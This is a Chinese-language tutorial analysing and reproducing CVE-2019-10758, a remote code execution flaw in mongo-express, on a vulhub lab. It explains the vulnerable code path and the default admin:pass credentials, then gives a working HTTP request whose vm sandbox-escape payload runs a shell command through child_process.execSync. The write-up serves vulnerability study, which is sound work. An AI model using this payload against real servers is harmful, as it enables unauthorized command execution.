如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

发布时间:2021-12-18 18:27:58 作者:柒染
来源:亿速云 阅读:283

今天就跟大家聊聊有关如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

一、漏洞介绍

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(`admin:pass`),则可以执行任意node.js代码。

影响版本:

mongo-express < 0.54.0

二、漏洞原理分析

漏洞触发点:文件/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

路由事件checkvalid对应的方法在文件
/node_modules/mongo-express/lib/routes/document.js,调用了toBSON如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

文件/node_modules/mongo-express/lib/bson.js中toBSON函数中将传入的参数放进vm沙箱里去eval如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

绕一下vm逃逸出来沙箱即可

需要进行登录才能执行命令的原理分析

文件/node_modules/mongo-express/lib/router.js中,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。定义的两个全局变量username&password,来存储配置文件的用户名密码。在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized。要想不进入basicAuth函数,只需要config.useBasicAuth = false所以必须使用“Authorization: Basic YWRtaW46cGFzcw==”的认证字段(加密值根据账户密码的变换进行变换)

三、漏洞复现

环境准备:

服务器(使用的vulhub环境拉取镜像):192.168.29.141攻击机:个人PC,含有burpsuite软件即可1.服务器端漏洞环境搭建(此处使用的vulhub的docker环境进行搭建的漏洞环境,链接为https://vulhub.org/#/environments/mongo-express/CVE-2019-10758/)

如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

2.查看服务器的IP地址

如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

3.访问链接http://192.168.29.141:8081/,查看服务器是否搭建成功 如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

4.此文件为docker启动的镜像文件,所以说需要进入docker里面对对应的镜像内容进行配置

docker psdocker exec -it 7a8cbf9b3fea bash

如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

5.查看tmp文件夹内的内容信息

如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

6.使用攻击机抓取数据包,发送poc,往服务器系统里面写入文件:

POST /checkValid HTTP/1.1Host: 192.168.29.141:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeAuthorization: Basic YWRtaW46cGFzcw==Content-Type: application/x-www-form-urlencodedContent-Length: 134document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 'I am xiaokeai' >/tmp/1")

PS:YWRtaW46cGFzcw==解码为admin:pass(base64编码如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

7.查看服务器端,成功写入文件

如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

看完上述内容,你们对如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

推荐阅读:
  1. 怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
  2. 怎么进行Apache Struts2--048远程代码执行漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2019-10758 mongo-express

上一篇:怎么浅析CVE-2021-1647的漏洞利用技巧

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》